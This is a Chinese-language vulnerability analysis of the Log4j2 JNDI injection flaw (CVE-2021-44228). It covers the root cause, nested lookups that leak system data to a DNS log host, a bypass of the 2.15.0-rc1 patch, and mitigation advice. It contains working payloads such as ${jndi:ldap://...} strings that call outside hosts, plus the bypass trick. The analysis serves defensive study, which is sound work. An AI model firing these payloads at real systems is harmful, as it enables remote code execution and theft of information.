作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/4MP0WVDOT5YhpOJ5KkGxYw
0x01前言
最近IT圈被爆出的log4j2漏洞鬧的沸沸揚揚,log4j2作為一個優秀的java程序日志監控組件,被應用在了各種各樣的衍生框架中,同時也是作為目前java全生態中的基礎組件之一,這類組件一旦崩塌將造成不可估量的影響。從Apache Log4j2 漏洞影響面查詢的統計來看,影響多達60644個開源軟件,涉及相關版本軟件包更是達到了321094個。而本次漏洞的觸發方式簡單,利用成本極低,可以說是一場java生態的‘浩劫’。本文將從零到一帶你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。
0x02 Java日志體系
要了解認識log4j2,就不得講講java的日志體系,在最早的2001年之前,java是不存在日志庫的,打印日志均通過System.out和System.err來進行,缺點也顯而易見,列舉如下:
- 大量IO操作;
- 無法合理控制輸出,并且輸出內容不能保存,需要盯守;
- 無法定制日志格式,不能細粒度顯示;
在2001年,軟件開發者Ceki Gulcu設計出了一套日志庫也就是log4j(注意這里沒有2)。后來log4j成為了Apache的項目,作者也加入了Apache組織。這里有一個小插曲,Apache組織建議過sun在標準庫中引入log4j,但是sun公司可能有自己的小心思,所以就拒絕了建議并在JDK1.4中推出了自己的借鑒版本JUL(Java Util Logging)。不過功能還是不如Log4j強大。使用范圍也很小。
由于出現了兩個日志庫,為了方便開發者進行選擇使用,Apache推出了日志門面JCL(Jakarta Commons Logging)。它提供了一個日志抽象層,在運行時動態的綁定日志實現組件來工作(如log4j、java.util.logging)。導入哪個就綁定哪個,不需要再修改配置。當然如果沒導入的話他自己內部有一個Simple logger的簡單實現,但是功能很弱,直接忽略。架構如下圖:

在2006年,log4j的作者Ceki Gulcu 離開了Apache組織后覺得JCL不好用,于是自己開發了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用橋接包來和日志實現組件建立關系。由于Slf4j每次使用都需要配合橋接包,作者又寫出了Logback日志標準庫作為Slf4j接口的默認實現。其實根本原因還是在于log4j此時無法滿足要求了。以下是橋接架構圖:

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新項目Log4j2并且不兼容Log4j,又是全面借鑒Slf4j+Logback。不過此次的借鑒比較成功。
Log4j2不僅僅具有Logback的所有特性,還做了分離設計,分為log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志標準庫,并且Apache也為Log4j2提供了各種橋接包
到目前為止Java日志體系被劃分為兩大陣營,分別是Apache陣營和Cekij陣營。

0x03 Log4j2源碼淺析
Log4j2是Apache的一個開源項目,通過使用Log4j2,我們可以控制日志信息輸送的目的地是控制臺、文件、GUI組件,甚至是套接口服務器、NT的事件記錄器、UNIX Syslog守護進程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志信息的級別,我們能夠更加細致地控制日志的生成過程。最令人感興趣的就是,這些可以通過一個配置文件來靈活地進行配置,而不需要修改應用的代碼。
從上面的解釋中我們可以看到Log4j2的功能十分強大,這里會簡單分析其與漏洞相關聯部分的源碼實現,來更熟悉Log4j2的漏洞產生原因。
我們使用maven來引入相關組件的2.14.0版本,在工程的pom.xml下添加如下配置,他會導入兩個jar包
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>

在工程目錄resources下創建log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
<appenders>
<!-- 配置Appenders輸出源為Console和輸出語句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
log4j2中包含兩個關鍵組件LogManager和LoggerContext。LogManager是Log4J2啟動的入口,可以初始化對應的LoggerContext。LoggerContext會對配置文件進行解析等其它操作。
在不使用slf4j的情況下常見的Log4J用法是從LogManager中獲取Logger接口的一個實例,并調用該接口上的方法。運行下列代碼查看打印結果
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
String a="${java:os}";
logger.error(a);
}
}

屬性占位符之Interpolator插值器
log4j2中環境變量鍵值對被封裝為了StrLookup對象。這些變量的值可以通過屬性占位符來引用,格式為:${prefix:key}。在Interpolator插值器內部以Map

詳細信息可以查看官方文檔。這些實現類存在于org.apache.logging.log4j.core.lookup包下。
當參數占位符${prefix:key}帶有prefix前綴時,Interpolator會從指定prefix對應的StrLookup實例中進行key查詢。當參數占位符${key}沒有prefix時,Interpolator則會從默認查找器中進行查詢。如使用${jndi:key}時,將會調用JndiLookup的lookup方法 使用jndi(javax.naming)獲取value。如下圖演示。

模式布局
log4j2支持通過配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts來完成這個功能。常用之一有PatternLayout,也就是我們在配置文件中PatternLayout字段所指定的屬性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n。
%msg表示所輸出的消息,其它格式化字符所表示的意義可以查看官方文檔。

PatternLayout模式布局會通過PatternProcessor模式解析器,對模式字符串進行解析,得到一個List<PatternConverter>轉換器列表和List<FormattingInfo>格式信息列表。在配置文件PatternLayout標簽的pattern屬性中我們可以看到類似%d的寫法,d代表一個轉換器名稱,log4j2會通過PluginManager收集所有類別為Converter的插件,同時分析插件類上的@ConverterKeys注解,獲取轉換器名稱,并建立名稱到插件實例的映射關系,當PatternParser識別到轉換器名稱的時候,會查找映射。相關轉換器名稱注解和加載的插件實例如下圖所示:


本次漏洞關鍵在于轉換器名稱msg對應的插件實例為MessagePatternConverter對于日志中的消息內容處理存在問題,這部分是攻擊者可控的。MessagePatternConverter會將日志中的消息內容為${prefix:key}格式的字符串進行解析轉換,讀取環境變量。此時為jndi的方式的話,就存在漏洞。
日志級別
log4j2支持種日志級別,通過日志級別我們可以將日志信息進行分類,在合適的地方輸出對應的日志。哪些信息需要輸出,哪些信息不需要輸出,只需在一個日志輸出控制文件中稍加修改即可。級別由高到低共分為6個:fatal(致命的), error, warn, info, debug, trace(堆棧)。
log4j2還定義了一個內置的標準級別intLevel,由數值表示,級別越高數值越小。
當日志級別(調用)大于等于系統設置的intLevel的時候,log4j2才會啟用日志打印。在存在配置文件的時候
,會讀取配置文件中<root level="error">值設置intLevel。當然我們也可以通過Configurator.setLevel("當前類名", Level.INFO);來手動設置。如果沒有配置文件也沒有指定則會默認使用Error級別,也就是200,如下圖中的處理:

0x04 漏洞原理
首先先來看一下網絡上流傳最多的payload
${jndi:ldap://2lnhn2.ceye.io}
而觸發漏洞的方法,大家都是以Logger.error()方法來進行演示,那這里我們也采用同樣的方式來講解,具體漏洞環境代碼如下所示
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:ldap://2lnhn2.ceye.io}");
}
}
直擊漏洞本源,將斷點斷在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,該方法的第一行代碼將返回當前使用的布局,并調用
對應布局處理器的encode方法。log4j2默認缺省布局使用的是PatternLayout,如下圖所示:

繼續跟進在encode中會調用toText方法,根據注釋該方法的作用為創建指定日志事件的文本表示形式,并將其寫入指定的StringBuilder中。


接下來會調用serializer.toSerializable,并在這個方法中調用不同的Converter來處理傳入的數據,如下圖所示,

這里整理了一下調用的Converter
org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
這么多Converter都將一個個通過上圖中的for循環對日志事件進行處理,當調用到MessagePatternConverter時,我們跟入MessagePatternConverter.format()方法中一探究竟

在MessagePatternConverter.format()方法中對日志消息進行格式化,其中很明顯的看到有針對字符"{",這三行代碼中關鍵點在于最后一行

這里我圈了幾個重點,有助于理解Log4j2 為什么會用JndiLookup,它究竟想要做什么。此時的workingBuilder是一個StringBuilder對象,該對象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
本來這段字符串的長度是82,但是卻給它改成了53,為什么呢?因為第五十三的位置就是$符號,也就是說${jndi:ldap://2lnhn2.ceye.io}這段不要了,從第53位開始append。而append的內容是什么呢?可以看到傳入的參數是config.getStrSubstitutor().replace(event, value)的執行結果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}這段字符串。replace的作用簡單來說就是想要進行一個替換,我們繼續跟進

經過一段的嵌套調用,來到Interpolator.lookup,這里會通過var.indexOf(PREFIX_SEPARATOR)判斷":"之前的字符,我們這里用的是jndi然后,就會獲取針對jndi的Strlookup對象并調用Strlookup的lookup方法,如下圖所示

那么總共有多少Strlookup的子類對象可供選擇呢,可供調用的Strlookup都存放在當前Interpolator類的strLookupMap屬性中,如下所示

然后程序的繼續執行就會來到JndiLookup的lookup方法中,并調用jndiManager.lookup方法,如下圖所示

說到這里,我們已經詳細了解了logger.error()造成RCE的原理,那么問題就來了,logger有很多方法,除了error以外還別方法可以觸發漏洞么?這里就要提到Log4j2的日志優先級問題,每個優先級對應一個數值intLevel記錄在StandardLevel這個枚舉類型中,數值越小優先級越高。如下圖所示:

當我們執行Logger.error的時候,會調用Logger.logIfEnabled方法進行一個判斷,而判斷的依據就是這個日志優先級的數值大小


跟進isEnabled方法發現,只有當前日志優先級數值小于Log4j2的200的時候,程序才會繼續往下走,如下所示

而這里日志優先級數值小于等于200的就只有"error"、"fatal",這兩個,所以logger.fatal()方法也可觸發漏洞。但是"warn"、"info"等大于200的就觸發不了了。
但是這里也說了是默認情況下,日志優先級是以error為準,Log4j2的缺省配置文件如下所示。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
所以只需要做一點簡單的修改,將<Root level="error">中的error改成一個優先級比較低的,例如"info"這樣,只要日志優先級高于或者等于info的就可以觸發漏洞,修改過后如下所示
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
關于Jndi部分的遠程類加載利用可以參考實驗室往常的文章:Java反序列化過程中 RMI JRMP 以及JNDI多種利用方式詳解、JAVA JNDI注入知識詳解
0x05 敏感數據帶外
當目標服務器本身受到防護設備流量監控等原因,無法反彈shell的時候,Log4j2還可以通過修改payload,來外帶一些敏感信息到dnslog服務器上,這里簡單舉一個例子,根據Apache Log4j2官方提供的信息,獲取環境變量信息除了jndi之外還有很多的選擇可供使用,具體可查看前文給出的鏈接。根據文檔中所述,我們可以用下面的方式來記錄當前登錄的用戶名,如下所示
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
</PatternLayout>
</File>
獲取java運行時版本,jvm版本,和操作系統版本,如下所示
<File name="Application" fileName="application.log">
<PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
<Pattern>%d %m%n</Pattern>
</PatternLayout>
</File>
類似的操作還有很多,感興趣的同學可以去閱讀下官方文檔。
那么問題來了,如何將這些信息外帶出去,這個時候就還要利用我們的dnsLog了,就像在sql注入中通過dnslog外帶信息一樣,payload改成以下形式
"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"
從表上看這個payload執行原理也不難,肯定是log4j2 遞歸解析了唄,為了嚴謹一下,就再廢話一下log4j2解析這個payload的執行流程
首先還是來到MessagePatternConverter.format方法,然后是調用StrSubstitutor.replace方法進行字符串處理,如下圖所示

只不過這次迭代處理先處理了"${java:os}",如下圖所示

如此一來,就來到了JavaLookup.lookup方法中,并根據傳入的參數來獲取指定的值

解析完成后然后log4j2才會去解析外層的${jndi:ldap://2lnhn2.ceye.io},最后請求的dnslog地址如下

如此一來,就實現了將敏感信息回顯到dnslog上,利用的就是log4j2的遞歸解析,來dnslog上查看一下回顯效果,如下所示

但是這種回顯的數據是有限制的,例如下面這種情況,使用如下payload
${jndi:ldap://${java:os}.2lnhn2.ceye.io}
執行完成后請求的地址如下

最后會報如下錯誤,并且無法回顯

0x06 2.15.0 rc1繞過詳解
在Apache log4j2漏洞大肆傳播的當天,log4j2官方發布的rc1補丁就傳出的被繞過的消息,于是第一時間也跟著研究究竟是怎么繞過的,分析完后發現,這個“繞過”屬實是一言難盡,下面就針對這個繞過來解釋一下為何一言難盡。
首先最重要的一點,就是需要修改配置,默認配置下是不能觸發JNDI遠程加載的,單就這個條件來說我覺得就很勉強了,但是確實更改了配置后就可以觸發漏洞,所以這究竟算不算繞過,還要看各位同學自己的看法了。
首先在這次補丁中MessagePatternConverter類進行了大改,可以看下修改前后MessagePatternConverter這個類的結構對比
修改前

修改后

可以很清楚的看到 增加了三個靜態內部類,每個內部類都繼承自MessagePatternConverter,且都實現了自己的format方法。之前執行鏈上的MessagePatternConverter.format()方法則變成了下面這樣

在rc1這個版本中Log4j2在初始化的時候創建的Converter也變了,

整理一下,可以看的更清晰一些
DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter
之前的MessagePatternConverter,變成了現在的MessagePatternConverter$SimpleMessagePatternConverter,那么這個SimpleMessagePatternConverter的方法究竟是怎么實現的,如下所示

可以看到并沒有對傳入的數據進行“{}”這種形式傳入數據的處理,開發者將其轉移到了LookupMessagePatternConverter.format()方法中,如下所示

那么問題來了,如何才能讓log4j2在初始化的時候就實例化LookupMessagePatternConverter從而能讓程序在后續的執行過程中調用它的format方法呢?
其實很簡單,但這也是我說這個繞過“一言難盡”的一個點,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一個“{lookups}”,我相信一般情況下應該沒有那個開發者會這么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
這樣一來就可以觸發LookupMessagePatternConverter.format()方法了,但是單單只改配置,還是不行,因為JndiManager.lookup方法也進行了修改,增加了白名單校驗,這就意味著我們還要修改payload來繞過這么一個校驗,校驗點代碼如下所示

當判斷以ldap開頭的時候,就回去判斷請求的host,也就是請求的地址,白名單內容如下所示

可以看到白名單里要么是本機地址,要么是內網地址,fe80開頭的ipv6地址也是內網地址,看似想要繞過有些困難,因為都是內網地址,沒法請求放在公網的ldap服務,不過不用著急,繼續往下看。
使用marshalsec開啟ldap服務后,先將payload修改成下面這樣
${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一來就可以繞過第一道校驗,過了這個host校驗后,還有一個校驗,在JndiManager.lookup方法中,會將請求ladp服務后 ldap返回的信息以map的形式存儲,如下所示

這里要求javaFactory為空,否則就會返回"Referenceable class is not allowed for xxxxxx"的錯誤,想要繞過這一點其實也很簡單,在JndiManager.lookup方法中有一個非常非常離譜的錯誤,就是在捕獲異常后沒有進行返回,甚至沒有進行任何操作,我看不懂,但我大為震撼。這樣導致了程序還會繼續向下執行,從而走到最后的this.context.lookup()這一步 ,如下所示

也就是說只要讓lookup方法在執行的時候拋個異常就可以了,將payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
在url中“/”后加上一個空格,就會導致lookup方法中一開始實例化URI對象的時候報錯,這樣不僅可以繞過第二道校驗,連第一個針對host的校驗也可以繞過,從而再次造成RCE。在rc2中,catch錯誤之后,return null,也就走不到lookup方法里了。
0x07 修復&臨時建議
在最新的修復https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器時新增了檢查jndi協議是否啟用的選項,并且默認禁用了jndi協議的使用。


修復建議:
-
升級Apache Log4j2所有相關應用到最新版。
-
升級JDK版本,建議JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有繞過Java本身對Jndi遠程加載類安全限制的風險。
臨時建議: 1. jvm中添加參數 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
-
新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
-
設置系統環境變量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
-
對于log4j2 < 2.10以下的版本,可以通過移除JndiLookup類的方式。
0x08 時間線
- 2021年11月24日: 阿里云安全團隊向Apache 官方提交ApacheLog4j2遠程代碼執行漏洞(CVE-2021-44228)
- 2021年12月8日: Apache Log4j2官方發布安全更新log4j2-2.15.0-rc1,
- 2021年12月9日: 天融信阿爾法實驗室晚間監測到poc大量傳播并被利用攻擊
- 2021年12月10日: 天融信阿爾法實驗室于10日凌晨發布Apache Log4j2 遠程代碼執行漏洞預警,并于當日發布Apache Log4j2 漏洞處置方案
- 2021年12月10日: 同一天內,網絡傳出log4j2-2.15.0-rc1安全更新被繞過,天融信阿爾法實驗室第一時間進行驗證,發現繞過存在,并將處置方案內的升級方案修改為log4j2-2.15.0-rc2
- 2021年12月15日:天融信阿爾法實驗室對該漏洞進行了深入分析并更新修復建議。
0x09 總結
log4j2這次漏洞的影響是核彈級的,堪稱web漏洞屆的永恒之藍,因為作為一個日志系統,有太多的開發者使用,也有太多的開源項目將其作為默認日志系統,所以可以見到,在未來的幾年內,Apache log4j2 很可能會接替Shiro的位置,作為護網的主要突破點。該漏洞的原理并不復雜,甚至如果認真讀了官方文檔可能就可以發現這個漏洞,因為這次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的開發者也好,還是使用log4j2進行開發的開發者也好,他們都犯了一個致命的錯誤,就是相信了用戶的輸入。永遠不要相信用戶的輸入,想必這是每一個開發人員都聽過的一句話,可惜,真正能做到的人太少了。對于開源軟件的生態安全,也需要相關企業和組織加以關注和共同建設,安全之路任重而道遠。
參考資料
- Apache Log4j2 漏洞影響面查詢
- log4j2 lookups
- log4j2 layouts
- Java反序列化過程中 RMI JRMP 以及JNDI多種利用方式詳解
- JAVA JNDI注入知識詳解
- Log4j 0day之rc1與rc2 有趣的繞過
- Log4j2 研究之lookup
- log4j2 JNDI 注入漏洞分析
- log4j2源碼分析
- 代碼審計-log4j2_rce分析
- Apache Log4j2 Jndi RCE高危漏洞分析與防御
- Java日志的心路歷程
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1789/
暫無評論